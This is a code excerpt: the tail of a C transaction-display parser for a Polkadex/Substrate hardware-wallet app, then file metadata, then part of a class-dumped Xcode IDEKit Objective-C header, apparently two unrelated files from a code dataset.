call 4 */ switch (itemIdx) { case 0: /* technicalmembership_change_key_V2 - new_ */; return _toStringAccountId_V2( &m->basic.technicalmembership_change_key_V2.new_, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3589: /* module 14 call 5 */ switch (itemIdx) { case 0: /* technicalmembership_set_prime_V2 - who */; return _toStringAccountId_V2( &m->basic.technicalmembership_set_prime_V2.who, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3590: /* module 14 call 6 */ switch (itemIdx) { default: return parser_no_data; } case 3842: /* module 15 call 2 */ switch (itemIdx) { case 0: /* grandpa_note_stalled_V2 - delay */; return _toStringBlockNumber( &m->basic.grandpa_note_stalled_V2.delay, outValue, outValueLen, pageIdx, pageCount); case 1: /* grandpa_note_stalled_V2 - best_finalized_block_number */; return _toStringBlockNumber( &m->basic.grandpa_note_stalled_V2.best_finalized_block_number, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4096: /* module 16 call 0 */ switch (itemIdx) { case 0: /* treasury_propose_spend_V2 - value */; return _toStringCompactBalanceOf( &m->basic.treasury_propose_spend_V2.value, outValue, outValueLen, pageIdx, pageCount); case 1: /* treasury_propose_spend_V2 - beneficiary */; return _toStringLookupSource_V2( &m->basic.treasury_propose_spend_V2.beneficiary, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4097: /* module 16 call 1 */ switch (itemIdx) { case 0: /* treasury_reject_proposal_V2 - proposal_id */; return _toStringCompactProposalIndex_V2( &m->basic.treasury_reject_proposal_V2.proposal_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4098: /* module 16 call 2 */ switch (itemIdx) { case 0: /* treasury_approve_proposal_V2 - proposal_id */; return _toStringCompactProposalIndex_V2( &m->basic.treasury_approve_proposal_V2.proposal_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4352: /* module 17 call 0 */ switch (itemIdx) { case 0: /* sudo_sudo_V2 - call */; return _toStringCall( &m->basic.sudo_sudo_V2.call, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4353: /* module 17 call 1 */ switch (itemIdx) { case 0: /* sudo_sudo_unchecked_weight_V2 - call */; return _toStringCall( &m->basic.sudo_sudo_unchecked_weight_V2.call, outValue, outValueLen, pageIdx, pageCount); case 1: /* sudo_sudo_unchecked_weight_V2 - _weight */; return _toStringWeight_V2( &m->basic.sudo_sudo_unchecked_weight_V2._weight, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4354: /* module 17 call 2 */ switch (itemIdx) { case 0: /* sudo_set_key_V2 - new_ */; return _toStringLookupSource_V2( &m->basic.sudo_set_key_V2.new_, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4355: /* module 17 call 3 */ switch (itemIdx) { case 0: /* sudo_sudo_as_V2 - who */; return _toStringLookupSource_V2( &m->basic.sudo_sudo_as_V2.who, outValue, outValueLen, pageIdx, pageCount); case 1: /* sudo_sudo_as_V2 - call */; return _toStringCall( &m->basic.sudo_sudo_as_V2.call, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5632: /* module 22 call 0 */ switch (itemIdx) { case 0: /* identity_add_registrar_V2 - account */; return _toStringAccountId_V2( &m->basic.identity_add_registrar_V2.account, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5635: /* module 22 call 3 */ switch (itemIdx) { default: return parser_no_data; } case 5636: /* module 22 call 4 */ switch (itemIdx) { case 0: /* identity_request_judgement_V2 - reg_index */; return _toStringCompactRegistrarIndex_V2( &m->basic.identity_request_judgement_V2.reg_index, outValue, outValueLen, pageIdx, pageCount); case 1: /* identity_request_judgement_V2 - max_fee */; return _toStringCompactBalanceOf( &m->basic.identity_request_judgement_V2.max_fee, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5637: /* module 22 call 5 */ switch (itemIdx) { case 0: /* identity_cancel_request_V2 - reg_index */; return _toStringRegistrarIndex_V2( &m->basic.identity_cancel_request_V2.reg_index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5638: /* module 22 call 6 */ switch (itemIdx) { case 0: /* identity_set_fee_V2 - index */; return _toStringCompactRegistrarIndex_V2( &m->basic.identity_set_fee_V2.index, outValue, outValueLen, pageIdx, pageCount); case 1: /* identity_set_fee_V2 - fee */; return _toStringCompactBalanceOf( &m->basic.identity_set_fee_V2.fee, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5639: /* module 22 call 7 */ switch (itemIdx) { case 0: /* identity_set_account_id_V2 - index */; return _toStringCompactRegistrarIndex_V2( &m->basic.identity_set_account_id_V2.index, outValue, outValueLen, pageIdx, pageCount); case 1: /* identity_set_account_id_V2 - new_ */; return _toStringAccountId_V2( &m->basic.identity_set_account_id_V2.new_, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5642: /* module 22 call 10 */ switch (itemIdx) { case 0: /* identity_kill_identity_V2 - target */; return _toStringLookupSource_V2( &m->basic.identity_kill_identity_V2.target, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5645: /* module 22 call 13 */ switch (itemIdx) { case 0: /* identity_remove_sub_V2 - sub */; return _toStringLookupSource_V2( &m->basic.identity_remove_sub_V2.sub, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5646: /* module 22 call 14 */ switch (itemIdx) { default: return parser_no_data; } case 5889: /* module 23 call 1 */ switch (itemIdx) { case 0: /* recovery_set_recovered_V2 - lost */; return _toStringAccountId_V2( &m->basic.recovery_set_recovered_V2.lost, outValue, outValueLen, pageIdx, pageCount); case 1: /* recovery_set_recovered_V2 - rescuer */; return _toStringAccountId_V2( &m->basic.recovery_set_recovered_V2.rescuer, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5891: /* module 23 call 3 */ switch (itemIdx) { case 0: /* recovery_initiate_recovery_V2 - account */; return _toStringAccountId_V2( &m->basic.recovery_initiate_recovery_V2.account, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5892: /* module 23 call 4 */ switch (itemIdx) { case 0: /* recovery_vouch_recovery_V2 - lost */; return _toStringAccountId_V2( &m->basic.recovery_vouch_recovery_V2.lost, outValue, outValueLen, pageIdx, pageCount); case 1: /* recovery_vouch_recovery_V2 - rescuer */; return _toStringAccountId_V2( &m->basic.recovery_vouch_recovery_V2.rescuer, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5893: /* module 23 call 5 */ switch (itemIdx) { case 0: /* recovery_claim_recovery_V2 - account */; return _toStringAccountId_V2( &m->basic.recovery_claim_recovery_V2.account, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5894: /* module 23 call 6 */ switch (itemIdx) { case 0: /* recovery_close_recovery_V2 - rescuer */; return _toStringAccountId_V2( &m->basic.recovery_close_recovery_V2.rescuer, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 5895: /* module 23 call 7 */ switch (itemIdx) { default: return parser_no_data; } case 5896: /* module 23 call 8 */ switch (itemIdx) { case 0: /* recovery_cancel_recovered_V2 - account */; return _toStringAccountId_V2( &m->basic.recovery_cancel_recovered_V2.account, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6400: /* module 25 call 0 */ switch (itemIdx) { case 0: /* proxy_proxy_V2 - real */; return _toStringAccountId_V2( &m->nested.proxy_proxy_V2.real, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_proxy_V2 - force_proxy_type */; return _toStringOptionProxyType_V2( &m->nested.proxy_proxy_V2.force_proxy_type, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_proxy_V2 - call */; return _toStringCall( &m->nested.proxy_proxy_V2.call, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6401: /* module 25 call 1 */ switch (itemIdx) { case 0: /* proxy_add_proxy_V2 - delegate */; return _toStringAccountId_V2( &m->basic.proxy_add_proxy_V2.delegate, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_add_proxy_V2 - proxy_type */; return _toStringProxyType_V2( &m->basic.proxy_add_proxy_V2.proxy_type, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_add_proxy_V2 - delay */; return _toStringBlockNumber( &m->basic.proxy_add_proxy_V2.delay, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6402: /* module 25 call 2 */ switch (itemIdx) { case 0: /* proxy_remove_proxy_V2 - delegate */; return _toStringAccountId_V2( &m->basic.proxy_remove_proxy_V2.delegate, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_remove_proxy_V2 - proxy_type */; return _toStringProxyType_V2( &m->basic.proxy_remove_proxy_V2.proxy_type, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_remove_proxy_V2 - delay */; return _toStringBlockNumber( &m->basic.proxy_remove_proxy_V2.delay, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6403: /* module 25 call 3 */ switch (itemIdx) { default: return parser_no_data; } case 6404: /* module 25 call 4 */ switch (itemIdx) { case 0: /* proxy_anonymous_V2 - proxy_type */; return _toStringProxyType_V2( &m->basic.proxy_anonymous_V2.proxy_type, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_anonymous_V2 - delay */; return _toStringBlockNumber( &m->basic.proxy_anonymous_V2.delay, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_anonymous_V2 - index */; return _toStringu16( &m->basic.proxy_anonymous_V2.index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6405: /* module 25 call 5 */ switch (itemIdx) { case 0: /* proxy_kill_anonymous_V2 - spawner */; return _toStringAccountId_V2( &m->basic.proxy_kill_anonymous_V2.spawner, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_kill_anonymous_V2 - proxy_type */; return _toStringProxyType_V2( &m->basic.proxy_kill_anonymous_V2.proxy_type, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_kill_anonymous_V2 - index */; return _toStringu16( &m->basic.proxy_kill_anonymous_V2.index, outValue, outValueLen, pageIdx, pageCount); case 3: /* proxy_kill_anonymous_V2 - height */; return _toStringCompactBlockNumber( &m->basic.proxy_kill_anonymous_V2.height, outValue, outValueLen, pageIdx, pageCount); case 4: /* proxy_kill_anonymous_V2 - ext_index */; return _toStringCompactu32( &m->basic.proxy_kill_anonymous_V2.ext_index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6406: /* module 25 call 6 */ switch (itemIdx) { case 0: /* proxy_announce_V2 - real */; return _toStringAccountId_V2( &m->basic.proxy_announce_V2.real, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_announce_V2 - call_hash */; return _toStringCallHashOf_V2( &m->basic.proxy_announce_V2.call_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6407: /* module 25 call 7 */ switch (itemIdx) { case 0: /* proxy_remove_announcement_V2 - real */; return _toStringAccountId_V2( &m->basic.proxy_remove_announcement_V2.real, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_remove_announcement_V2 - call_hash */; return _toStringCallHashOf_V2( &m->basic.proxy_remove_announcement_V2.call_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6408: /* module 25 call 8 */ switch (itemIdx) { case 0: /* proxy_reject_announcement_V2 - delegate */; return _toStringAccountId_V2( &m->basic.proxy_reject_announcement_V2.delegate, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_reject_announcement_V2 - call_hash */; return _toStringCallHashOf_V2( &m->basic.proxy_reject_announcement_V2.call_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6409: /* module 25 call 9 */ switch (itemIdx) { case 0: /* proxy_proxy_announced_V2 - delegate */; return _toStringAccountId_V2( &m->basic.proxy_proxy_announced_V2.delegate, outValue, outValueLen, pageIdx, pageCount); case 1: /* proxy_proxy_announced_V2 - real */; return _toStringAccountId_V2( &m->basic.proxy_proxy_announced_V2.real, outValue, outValueLen, pageIdx, pageCount); case 2: /* proxy_proxy_announced_V2 - force_proxy_type */; return _toStringOptionProxyType_V2( &m->basic.proxy_proxy_announced_V2.force_proxy_type, outValue, outValueLen, pageIdx, pageCount); case 3: /* proxy_proxy_announced_V2 - call */; return _toStringCall( &m->basic.proxy_proxy_announced_V2.call, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6656: /* module 26 call 0 */ switch (itemIdx) { case 0: /* multisig_as_multi_threshold_1_V2 - other_signatories */; return _toStringVecAccountId_V2( &m->nested.multisig_as_multi_threshold_1_V2.other_signatories, outValue, outValueLen, pageIdx, pageCount); case 1: /* multisig_as_multi_threshold_1_V2 - call */; return _toStringCall( &m->nested.multisig_as_multi_threshold_1_V2.call, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6657: /* module 26 call 1 */ switch (itemIdx) { case 0: /* multisig_as_multi_V2 - threshold */; return _toStringu16( &m->nested.multisig_as_multi_V2.threshold, outValue, outValueLen, pageIdx, pageCount); case 1: /* multisig_as_multi_V2 - other_signatories */; return _toStringVecAccountId_V2( &m->nested.multisig_as_multi_V2.other_signatories, outValue, outValueLen, pageIdx, pageCount); case 2: /* multisig_as_multi_V2 - maybe_timepoint */; return _toStringOptionTimepoint_V2( &m->nested.multisig_as_multi_V2.maybe_timepoint, outValue, outValueLen, pageIdx, pageCount); case 3: /* multisig_as_multi_V2 - call */; return _toStringOpaqueCall_V2( &m->nested.multisig_as_multi_V2.call, outValue, outValueLen, pageIdx, pageCount); case 4: /* multisig_as_multi_V2 - store_call */; return _toStringbool( &m->nested.multisig_as_multi_V2.store_call, outValue, outValueLen, pageIdx, pageCount); case 5: /* multisig_as_multi_V2 - max_weight */; return _toStringWeight_V2( &m->nested.multisig_as_multi_V2.max_weight, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6658: /* module 26 call 2 */ switch (itemIdx) { case 0: /* multisig_approve_as_multi_V2 - threshold */; return _toStringu16( &m->nested.multisig_approve_as_multi_V2.threshold, outValue, outValueLen, pageIdx, pageCount); case 1: /* multisig_approve_as_multi_V2 - other_signatories */; return _toStringVecAccountId_V2( &m->nested.multisig_approve_as_multi_V2.other_signatories, outValue, outValueLen, pageIdx, pageCount); case 2: /* multisig_approve_as_multi_V2 - maybe_timepoint */; return _toStringOptionTimepoint_V2( &m->nested.multisig_approve_as_multi_V2.maybe_timepoint, outValue, outValueLen, pageIdx, pageCount); case 3: /* multisig_approve_as_multi_V2 - call_hash */; return _toStringH256( &m->nested.multisig_approve_as_multi_V2.call_hash, outValue, outValueLen, pageIdx, pageCount); case 4: /* multisig_approve_as_multi_V2 - max_weight */; return _toStringWeight_V2( &m->nested.multisig_approve_as_multi_V2.max_weight, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6659: /* module 26 call 3 */ switch (itemIdx) { case 0: /* multisig_cancel_as_multi_V2 - threshold */; return _toStringu16( &m->nested.multisig_cancel_as_multi_V2.threshold, outValue, outValueLen, pageIdx, pageCount); case 1: /* multisig_cancel_as_multi_V2 - other_signatories */; return _toStringVecAccountId_V2( &m->nested.multisig_cancel_as_multi_V2.other_signatories, outValue, outValueLen, pageIdx, pageCount); case 2: /* multisig_cancel_as_multi_V2 - timepoint */; return _toStringTimepoint_V2( &m->nested.multisig_cancel_as_multi_V2.timepoint, outValue, outValueLen, pageIdx, pageCount); case 3: /* multisig_cancel_as_multi_V2 - call_hash */; return _toStringH256( &m->nested.multisig_cancel_as_multi_V2.call_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6912: /* module 27 call 0 */ switch (itemIdx) { case 0: /* bounties_propose_bounty_V2 - value */; return _toStringCompactBalanceOf( &m->basic.bounties_propose_bounty_V2.value, outValue, outValueLen, pageIdx, pageCount); case 1: /* bounties_propose_bounty_V2 - description */; return _toStringBytes( &m->basic.bounties_propose_bounty_V2.description, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6913: /* module 27 call 1 */ switch (itemIdx) { case 0: /* bounties_approve_bounty_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_approve_bounty_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6914: /* module 27 call 2 */ switch (itemIdx) { case 0: /* bounties_propose_curator_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_propose_curator_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); case 1: /* bounties_propose_curator_V2 - curator */; return _toStringLookupSource_V2( &m->basic.bounties_propose_curator_V2.curator, outValue, outValueLen, pageIdx, pageCount); case 2: /* bounties_propose_curator_V2 - fee */; return _toStringCompactBalanceOf( &m->basic.bounties_propose_curator_V2.fee, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6915: /* module 27 call 3 */ switch (itemIdx) { case 0: /* bounties_unassign_curator_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_unassign_curator_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6916: /* module 27 call 4 */ switch (itemIdx) { case 0: /* bounties_accept_curator_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_accept_curator_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6917: /* module 27 call 5 */ switch (itemIdx) { case 0: /* bounties_award_bounty_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_award_bounty_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); case 1: /* bounties_award_bounty_V2 - beneficiary */; return _toStringLookupSource_V2( &m->basic.bounties_award_bounty_V2.beneficiary, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6918: /* module 27 call 6 */ switch (itemIdx) { case 0: /* bounties_claim_bounty_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_claim_bounty_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6919: /* module 27 call 7 */ switch (itemIdx) { case 0: /* bounties_close_bounty_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_close_bounty_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 6920: /* module 27 call 8 */ switch (itemIdx) { case 0: /* bounties_extend_bounty_expiry_V2 - bounty_id */; return _toStringCompactBountyIndex_V2( &m->basic.bounties_extend_bounty_expiry_V2.bounty_id, outValue, outValueLen, pageIdx, pageCount); case 1: /* bounties_extend_bounty_expiry_V2 - _remark */; return _toStringBytes( &m->basic.bounties_extend_bounty_expiry_V2._remark, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 7168: /* module 28 call 0 */ switch (itemIdx) { default: return parser_no_data; } case 7171: /* module 28 call 3 */ switch (itemIdx) { case 0: /* ormlvesting_claim_for_V2 - dest */; return _toStringLookupSource_V2( &m->basic.ormlvesting_claim_for_V2.dest, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 7424: /* module 29 call 0 */ switch (itemIdx) { case 0: /* pdexmigration_set_migration_operational_status_V2 - status */; return _toStringbool( &m->basic.pdexmigration_set_migration_operational_status_V2.status, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 7425: /* module 29 call 1 */ switch (itemIdx) { case 0: /* pdexmigration_set_relayer_status_V2 - relayer */; return _toStringAccountId_V2( &m->basic.pdexmigration_set_relayer_status_V2.relayer, outValue, outValueLen, pageIdx, pageCount); case 1: /* pdexmigration_set_relayer_status_V2 - status */; return _toStringbool( &m->basic.pdexmigration_set_relayer_status_V2.status, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 7426: /* module 29 call 2 */ switch (itemIdx) { case 0: /* pdexmigration_mint_V2 - beneficiary */; return _toStringAccountId_V2( &m->basic.pdexmigration_mint_V2.beneficiary, outValue, outValueLen, pageIdx, pageCount); case 1: /* pdexmigration_mint_V2 - amount */; return _toStringBalance( &m->basic.pdexmigration_mint_V2.amount, outValue, outValueLen, pageIdx, pageCount); case 2: /* pdexmigration_mint_V2 - eth_tx */; return _toStringHash( &m->basic.pdexmigration_mint_V2.eth_tx, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 7427: /* module 29 call 3 */ switch (itemIdx) { default: return parser_no_data; } case 7428: /* module 29 call 4 */ switch (itemIdx) { case 0: /* pdexmigration_remove_minted_tokens_V2 - beneficiary */; return _toStringAccountId_V2( &m->basic.pdexmigration_remove_minted_tokens_V2.beneficiary, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } #endif default: return parser_ok; } return parser_ok; } bool _getMethod_ItemIsExpert_V2(uint8_t moduleIdx, uint8_t callIdx, uint8_t itemIdx) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 2307: // Staking:Withdraw Unbonded switch (itemIdx) { case 0: // Num slashing spans return true; default: return false; } case 2319: // Staking:Force unstake switch (itemIdx) { case 1: // Num slashing spans return true; default: return false; } case 2325: // Staking:Reap stash switch (itemIdx) { case 1: // Num slashing spans return true; default: return false; } default: return false; } } bool _getMethod_IsNestingSupported_V2(uint8_t moduleIdx, uint8_t callIdx) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 9: // System:Remark with event case 768: // Timestamp:Set case 1280: // Indices:Claim case 1282: // Indices:Free case 1283: // Indices:Force transfer case 1284: // Indices:Freeze case 1540: // Balances:Transfer all case 2304: // Staking:Bond case 2305: // Staking:Bond extra case 2306: // Staking:Unbond case 2307: // Staking:Withdraw Unbonded case 2308: // Staking:Validate case 2309: // Staking:Nominate case 2310: // Staking:Chill case 2311: // Staking:Set payee case 2312: // Staking:Set controller case 2313: // Staking:Set validator count case 2314: // Staking:Increase validator count case 2316: // Staking:Force no eras case 2317: // Staking:Force new era case 2318: // Staking:Set invulnerables case 2319: // Staking:Force unstake case 2320: // Staking:Force new era always case 2321: // Staking:Cancel deferred slash case 2322: // Staking:Payout stakers case 2323: // Staking:Rebond case 2324: // Staking:Set history depth case 2325: // Staking:Reap stash case 2328: // Staking:Chill other case 2560: // Session:Set keys case 2561: // Session:Purge keys case 2816: // Council:Set members case 2817: // Council:Execute case 2818: // Council:Propose case 2819: // Council:Vote case 2820: // Council:Close case 2821: // Council:Disapprove proposal case 3072: // TechnicalCommittee:Set members case 3073: // TechnicalCommittee:Execute case 3074: // TechnicalCommittee:Propose case 3075: // TechnicalCommittee:Vote case 3076: // TechnicalCommittee:Close case 3077: // TechnicalCommittee:Disapprove proposal case 3328: // Elections:Vote case 3329: // Elections:Remove voter case 3330: // Elections:Submit candidacy case 3332: // Elections:Remove member case 3333: // Elections:Clean defunct voters case 3584: // TechnicalMembership:Add member case 3585: // TechnicalMembership:Remove member case 3586: // TechnicalMembership:Swap member case 3587: // TechnicalMembership:Reset members case 3588: // TechnicalMembership:Change key case 3589: // TechnicalMembership:Set prime case 3590: // TechnicalMembership:Clear prime case 3842: // Grandpa:Note stalled case 4096: // Treasury:Propose spend case 4097: // Treasury:Reject proposal case 4098: // Treasury:Approve proposal case 4352: // Sudo:Sudo case 4353: // Sudo:Sudo unchecked weight case 4354: // Sudo:Set key case 4355: // Sudo:Sudo as case 5632: // Identity:Add registrar case 5635: // Identity:Clear identity case 5636: // Identity:Request judgement case 5637: // Identity:Cancel request case 5638: // Identity:Set fee case 5639: // Identity:Set account id case 5642: // Identity:Kill identity case 5645: // Identity:Remove sub case 5646: // Identity:Quit sub case 5889: // Recovery:Set recovered case 5891: // Recovery:Initiate recovery case 5892: // Recovery:Vouch recovery case 5893: // Recovery:Claim recovery case 5894: // Recovery:Close recovery case 5895: // Recovery:Remove recovery case 5896: // Recovery:Cancel recovered case 6401: // Proxy:Add proxy case 6402: // Proxy:Remove proxy case 6403: // Proxy:Remove proxies case 6404: // Proxy:Anonymous case 6405: // Proxy:Kill anonymous case 6406: // Proxy:Announce case 6407: // Proxy:Remove announcement case 6408: // Proxy:Reject announcement case 6409: // Proxy:Proxy announced case 6912: // Bounties:Propose bounty case 6913: // Bounties:Approve bounty case 6914: // Bounties:Propose curator case 6915: // Bounties:Unassign curator case 6916: // Bounties:Accept curator case 6917: // Bounties:Award bounty case 6918: // Bounties:Claim bounty case 6919: // Bounties:Close bounty case 6920: // Bounties:Extend bounty expiry case 7168: // OrmlVesting:Claim case 7171: // OrmlVesting:Claim for case 7424: // PDEXMigration:Set migration operational status case 7425: // PDEXMigration:Set relayer status case 7426: // PDEXMigration:Mint case 7427: // PDEXMigration:Unlock case 7428: // PDEXMigration:Remove minted tokens return false; default: return true; } }
34.189596
151
0.605665
2ff048f4276a57236201258b8df2543c6a10c9d4
5,788
h
C
XcodeHeaders/IDEKit/IDETestRunPhaseSheetController.h
alloy/AxeMode
323641da993b3f5990740f29021e081a184543c7
[ "MIT" ]
69
2015-02-18T13:32:26.000Z
2021-03-21T19:07:21.000Z
XcodeHeaders/IDEKit/IDETestRunPhaseSheetController.h
alloy/AxeMode
323641da993b3f5990740f29021e081a184543c7
[ "MIT" ]
13
2015-02-18T13:22:45.000Z
2015-07-17T21:42:42.000Z
XcodeHeaders/IDEKit/IDETestRunPhaseSheetController.h
alloy/AxeMode
323641da993b3f5990740f29021e081a184543c7
[ "MIT" ]
3
2015-03-16T17:49:27.000Z
2015-06-16T08:54:26.000Z
/* * Generated by class-dump 3.4 (64 bit). * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2012 by Steve Nygard. */ #import <IDEKit/IDEViewController.h> #import "IDEFilePickerViewDelegate.h" #import "IDETestsInTestableObserver.h" @class DVTBorderedView, DVTChoice, DVTGradientImageButton, DVTNotificationToken, DVTObservingToken, DVTOutlineView, DVTSearchField, DVTTabChooserView, IDEArgumentsCapsuleSheetController, IDECapsuleListView, IDEDebuggerSpecifier, IDEEnvironmentVariablesCapsuleSheetController, IDEScheme, IDESimulateLocationMenuController, IDETestSchemeAction, IDEWorkspace, NSArray, NSPopUpButton, NSString, NSTabView, NSTableColumn, NSTextField; @interface IDETestRunPhaseSheetController : IDEViewController <IDEFilePickerViewDelegate, IDETestsInTestableObserver> { DVTOutlineView *_outlineView; DVTGradientImageButton *_addButton; DVTGradientImageButton *_deleteButton; DVTBorderedView *_topBorderedView; DVTSearchField *_searchField; DVTTabChooserView *_tabChooser; DVTBorderedView *_useRunActionOptionsBorderedView; IDECapsuleListView *_capsuleListView; DVTBorderedView *_optionsBorderedView; NSPopUpButton *_macroExpansionRunnableBuildablesPopUp; NSTextField *_macroExpansionDescription; NSTabView *_tabView; NSTableColumn *_deviceAppDataPackagesColumn; NSTableColumn *_locationColumn; DVTChoice *_infoChoice; DVTChoice *_conditionsChoice; IDEArgumentsCapsuleSheetController *_argumentsViewController; IDEEnvironmentVariablesCapsuleSheetController *_environmentVariablesViewController; IDEScheme *_runContext; IDEWorkspace *_workspace; IDETestSchemeAction *_runPhase; NSArray *_debuggerSpecifiers; NSString *_filterString; DVTObservingToken *_testableReferenceObserver; DVTObservingToken *_launchActionArgsEnvLinkObservingToken; DVTObservingToken *_macroExpansionReferenceObservingToken; DVTObservingToken *_runContextObservingToken; DVTNotificationToken *_buildablesToken; IDESimulateLocationMenuController *_simulateLocationMenuController; } + (void)initialize; - (void).cxx_destruct; - (BOOL)_getItemsToDelete:(id *)arg1; - (id)_iconForBuildable:(id)arg1; - (void)_macroExpansionRunnableBuildableSelected:(id)arg1; - (void)_runDestinationChanged; - (void)_selectDeviceAppDataPackage:(id)arg1; - (void)_selectMenuItemForDeviceApplicationPackageForCell:(id)arg1 forItem:(id)arg2; - (void)_selectMenuItemForLocationForCell:(id)arg1 forItem:(id)arg2; - (void)_selectedSchemeChanged:(id)arg1; - (void)_setLauncherBasedOnSelectedDebugger; - (void)_setupDeviceAppDataUI; - (void)_setupLocationUI; - (void)_updateDeleteButton; - (void)_updateMacroExpansionDescriptionForSelectedItem; - (void)_updateMacroExpansionRunnablePopUp; - (void)_updateMacroExpansionRunnablePopUpSelection; - (void)addBlueprintsAction:(id)arg1; - (BOOL)canExpandTestableReference:(id)arg1; - (id)capsuleListView:(id)arg1 viewControllerForRow:(long long)arg2; - (void)clearHighlightsInCapsuleView; - (id)currentToggleItemsAndEnable:(char *)arg1; @property(retain, nonatomic) NSArray *debuggerSpecifiers; // @synthesize debuggerSpecifiers=_debuggerSpecifiers; - (id)debuggerSpecifiersForCurrentPlatform; - (void)deleteBlueprintsAction:(id)arg1; - (BOOL)doesFilterStringIncludeName:(id)arg1; - (BOOL)doesFilterStringIncludeTest:(id)arg1; - (BOOL)doesFilterStringIncludeTestable:(id)arg1; - (id)dvtExtraBindings; @property(copy, nonatomic) NSString *filterString; // @synthesize filterString=_filterString; - (id)filteredTestableReferences; - (id)filteredTests:(id)arg1; - (BOOL)isTestActive:(id)arg1; - (BOOL)isTestEditable:(id)arg1; - (void)loadView; - (long long)numberOfObjectsInCapsuleListView:(id)arg1; - (BOOL)outlineView:(id)arg1 acceptDrop:(id)arg2 item:(id)arg3 childIndex:(long long)arg4; - (id)outlineView:(id)arg1 child:(long long)arg2 ofItem:(id)arg3; - (BOOL)outlineView:(id)arg1 doCommandBySelector:(SEL)arg2; - (BOOL)outlineView:(id)arg1 isItemExpandable:(id)arg2; - (long long)outlineView:(id)arg1 numberOfChildrenOfItem:(id)arg2; - (id)outlineView:(id)arg1 objectValueForTableColumn:(id)arg2 byItem:(id)arg3; - (void)outlineView:(id)arg1 setObjectValue:(id)arg2 forTableColumn:(id)arg3 byItem:(id)arg4; - (BOOL)outlineView:(id)arg1 shouldSelectItem:(id)arg2; - 